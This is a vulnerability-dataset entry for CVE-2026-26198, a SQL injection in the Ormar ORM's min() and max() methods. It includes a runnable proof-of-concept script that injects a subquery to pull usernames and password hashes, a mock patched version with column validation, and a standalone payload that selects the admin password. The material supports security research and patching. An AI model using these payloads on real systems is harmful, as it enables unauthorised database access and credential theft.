VAITP Dataset

← Back to the dataset

CVE-2026-26198

SQL injection in Ormar's min/max methods allows database exfiltration.

  • CVSS 7.5
  • CWE-89
  • Input Validation and Sanitization
  • Remote

Ormar is a async mini ORM for Python. In versions 0.9.9 through 0.22.0, when performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter. Version 0.23.0 contains a patch.

CVSS base score
7.5
Published
2026-02-24
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
SQL Injection
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Ormar
Fixed by upgrading
Yes

Solution

Upgrade Ormar to version 0.23.0 or later.

Vulnerable code sample

# Requirements:
# ormar==0.22.0
# databases[sqlite]
# sqlalchemy
# python-dotenv

import asyncio
import ormar
import databases
import sqlalchemy

# --- Database Setup ---
database = databases.Database("sqlite+aiosqlite:///test.db")
metadata = sqlalchemy.MetaData()


# --- Model Definitions ---
class BaseMeta(ormar.ModelMeta):
    metadata = metadata
    database = database


class Product(ormar.Model):
    class Meta(BaseMeta):
        tablename = "products"

    id: int = ormar.Integer(primary_key=True)
    name: str = ormar.String(max_length=100)
    rating: int = ormar.Integer(default=0)


class User(ormar.Model):
    class Meta(BaseMeta):
        tablename = "users"

    id: int = ormar.Integer(primary_key=True)
    username: str = ormar.String(max_length=100)
    password_hash: str = ormar.String(max_length=200)


# --- Main Application Logic to Demonstrate Vulnerability ---
async def main():
    """
    Sets up the database, populates it with data, and then demonstrates
    the SQL injection vulnerability in ormar's .max() method.
    """
    try:
        await database.connect()
        # Create tables for a clean demonstration
        await metadata.drop_all(database._backend)
        await metadata.create_all(database._backend)

        # Populate the database with some data
        await Product.objects.create(name="Laptop", rating=5)
        await User.objects.create(username="admin", password_hash="secret_hash_value_for_admin_user")
        await User.objects.create(username="guest", password_hash="guest_password_abc123")


        # --- The Vulnerability Demonstration ---

        # An attacker provides a malicious subquery instead of a column name.
        # This payload aims to extract all usernames and password hashes from the `users` table.
        # This works because the input is not sanitized and passed directly to sqlalchemy.text().
        malicious_column_payload = "(SELECT group_concat(username || ':' || password_hash, '; ') FROM users)"

        print(f"[*] Simulating attack with payload: {malicious_column_payload}")

        # The vulnerable call: Querying the 'Product' model but using .max()
        # with the malicious payload to extract data from the 'User' model.
        # The ORM will construct a query similar to:
        # SELECT MAX((SELECT group_concat(username || ':' || password_hash, '; ') FROM users)) FROM "products"
        exfiltrated_data = await Product.objects.max(column=malicious_column_payload)

        print("\n[+] Vulnerability Confirmed! Data exfiltrated from 'users' table:")
        print(exfiltrated_data)

    finally:
        if database.is_connected:
            await database.disconnect()


if __name__ == "__main__":
    asyncio.run(main())

Patched code sample

import sys
from typing import List, Type, Set

# This code provides a simplified, conceptual representation of how the
# SQL injection vulnerability CVE-2026-26198 in Ormar was fixed.
# The core of the fix is to strictly validate that the 'column' parameter
# in aggregate functions like min() and max() is a legitimate, defined
# field on the model before using it to construct a SQL query.

class ColumnNotFoundError(ValueError):
    """Custom exception for when a column is not found on a model."""
    pass

class MockModelMeta:
    """A mock class to hold metadata about a model, like its column names."""
    def __init__(self, model_fields: Set[str]):
        self.model_fields = model_fields

class MockModel:
    """A mock base model class that our example model will inherit from."""
    Meta: MockModelMeta

    # In a real ORM, a QuerySet would be accessible via a class attribute
    # like .objects
    @classmethod
    def objects(cls):
        return PatchedQuerySet(model_cls=cls)

class PatchedQuerySet:
    """
    A simplified representation of Ormar's QuerySet class, containing the fix.
    """
    def __init__(self, model_cls: Type[MockModel]):
        self._model_cls = model_cls

    def _validate_is_model_column(self, column_name: str) -> None:
        """
        THE FIX: This validation method is the core of the patch.

        It checks if the provided 'column_name' string exists in the set of
        pre-defined, legitimate field names for the model.

        If the name is not found, it raises an error, preventing the untrusted
        string from ever being passed into a SQL expression. This blocks the
        injection of subqueries or other malicious SQL.
        """
        if column_name not in self._model_cls.Meta.model_fields:
            raise ColumnNotFoundError(
                f"Column '{column_name}' is not a valid field on model "
                f"'{self._model_cls.__name__}'. Injection attempt blocked."
            )
        print(f"Validation successful: '{column_name}' is a known column.")

    def min(self, column: str):
        """
        Demonstrates the patched `min` method. It now calls the validation
        method before proceeding.
        """
        # 1. Apply the security validation.
        self._validate_is_model_column(column)

        # 2. Only after validation can the query be safely constructed.
        # In a real ORM, this would use safe, parameterized query builders,
        # not f-strings. This print statement is for demonstration.
        print(f"Executing safe query: SELECT MIN({column}) FROM ...\n")
        # Dummy return value for demonstration
        return 0

    def max(self, column: str):
        """
        Demonstrates the patched `max` method, which also uses the fix.
        """
        # 1. Apply the same security validation.
        self._validate_is_model_column(column)

        # 2. Safely construct the query.
        print(f"Executing safe query: SELECT MAX({column}) FROM ...\n")
        # Dummy return value for demonstration
        return 100

# --- Demonstration of the Fix ---

# 1. Define a sample model with its allowed column names.
class Product(MockModel):
    Meta = MockModelMeta(model_fields={"id", "name", "price", "stock_count"})

if __name__ == '__main__':
    print("--- Demonstrating Fix for CVE-2026-26198 ---")

    # --- Use Case 1: Legitimate Operation ---
    # This call will succeed because 'price' is a defined model field.
    print("Attempting a valid operation on the 'price' column:")
    try:
        Product.objects().max("price")
    except ColumnNotFoundError as e:
        print(f"Error: {e}", file=sys.stderr)


    # --- Use Case 2: Malicious Injection Attempt ---
    # The vulnerability allowed an attacker to pass a subquery as the column.
    # The patched code will catch this at the validation step.
    malicious_payload = "(SELECT password FROM users LIMIT 1)"
    print(f"Attempting injection with payload: '{malicious_payload}'")
    try:
        Product.objects().min(malicious_payload)
    except ColumnNotFoundError as e:
        print(f"SUCCESS: The vulnerability was blocked. Details: {e}\n")

    # --- Use Case 3: Another Malicious Injection Attempt ---
    malicious_payload_2 = "(SELECT sqlite_version())"
    print(f"Attempting injection with payload: '{malicious_payload_2}'")
    try:
        Product.objects().max(malicious_payload_2)
    except ColumnNotFoundError as e:
        print(f"SUCCESS: The vulnerability was blocked. Details: {e}\n")

Payload

(SELECT password FROM users WHERE username = 'admin' LIMIT 1)

Cite this entry

@misc{vaitp:cve202626198,
  title        = {{SQL injection in Ormar's min/max methods allows database exfiltration.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-26198},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26198/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::